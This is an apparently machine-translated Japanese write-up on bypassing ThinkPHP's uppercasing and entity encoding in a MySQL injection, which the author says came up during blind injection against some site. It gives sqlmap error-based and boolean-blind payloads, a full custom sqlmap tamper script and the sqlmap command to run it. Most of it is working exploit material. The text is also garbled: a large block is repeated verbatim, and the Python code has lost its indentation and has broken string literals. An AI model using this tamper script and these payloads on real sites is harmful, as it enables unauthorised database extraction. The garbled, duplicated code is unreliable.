Mysql注入まとめ(二)
先日、あるステーションにブラインドをかけたとき、次の点を置き換えました.
0 x 03この注入をサポートするtamper(mysqlをサポート)3.1を記述phpにこのような文があると、私たちが挿入した文がすべて大文字になるので、payloaを変換します.
1
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';
3.2 sqlmap mysql error based注入文
12
AND (SELECT 8080 FROM(SELECT COUNT(*),CONCAT(0x3a7a61623a,(SELECT (CASE WHEN (QUARTER(NULL) IS NULL) THEN 1 ELSE 0 END)),0x3a6c697a3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)/**の0 x 3 a 7 a 61623 aなどの16進数文字はxが大文字になったためにエラーが報告されるので、小文字になる**/にマッチする必要があります.
3.3 sqlmap myql boolean blind注入文
12345678910111213
AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1)>51 payload="ORD(SELECT IFNULL(CAST(DISTINCT(schema_name))、AS CHAR),0 x 20)FROM INFORMATION_SCHEMA.SCHEMATA),1,1))"num=51/**はthinkphpによってエンティティーコードされるので、したがって、文全体をfloor(payload/num.5)に変換する必要があります.たとえば、52>51=1が真floor(52/51.5)=1が真51>51=0が偽floor(51/51.5)=0が偽**/
3.4最後のtamperコード
0 x 04 sqlmapローカルテスト
0 x 03この注入をサポートするtamper(mysqlをサポート)3.1を記述phpにこのような文があると、私たちが挿入した文がすべて大文字になるので、payloaを変換します.
1
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';
3.2 sqlmap mysql error based注入文
12
AND (SELECT 8080 FROM(SELECT COUNT(*),CONCAT(0x3a7a61623a,(SELECT (CASE WHEN (QUARTER(NULL) IS NULL) THEN 1 ELSE 0 END)),0x3a6c697a3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)/**の0 x 3 a 7 a 61623 aなどの16進数文字はxが大文字になったためにエラーが報告されるので、小文字になる**/にマッチする必要があります.
3.3 sqlmap myql boolean blind注入文
12345678910111213
AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1)>51 payload="ORD(SELECT IFNULL(CAST(DISTINCT(schema_name))、AS CHAR),0 x 20)FROM INFORMATION_SCHEMA.SCHEMATA),1,1))"num=51/**はthinkphpによってエンティティーコードされるので、したがって、文全体をfloor(payload/num.5)に変換する必要があります.たとえば、52>51=1が真floor(52/51.5)=1が真51>51=0が偽floor(51/51.5)=0が偽**/
3.4最後のtamperコード
#__author__ = 'm3d1t10n'
import re
import binascii
#f = open("out.dat","w")
def tamper(payload, **kwargs):
d = {"ror":"rand","and":"or"}
#f.write(payload+"
")
t = re.findall('(0x\w+)',payload.lower())
for expression in t:
d[expression] = "lower('%s')" % binascii.unhexlify(expression[2:])
for key in d:
payload = payload.lower().replace(key,d[key])
prefix = "in%20(%27xxx%27))%20"
subfix = "%20--%20"
payload
payload = prefix + payload + subfix
t = re.findall('or (.+)>(\d+)',payload.lower())
#print payload
if t:
payload = payload.replace(t[0][0]+'>'+t[0][1],"ceil(floor(%s/%s.5))"%(t[0][0],t[0][1]))
#print payload
#f.write(payload+"
")
return payload
0 x 04 sqlmapローカルテスト
sqlmap.py -u "http://localhost/exp?user[0]=* --dbms mysql --tech b --tamper "./thinkphp.py" --dbs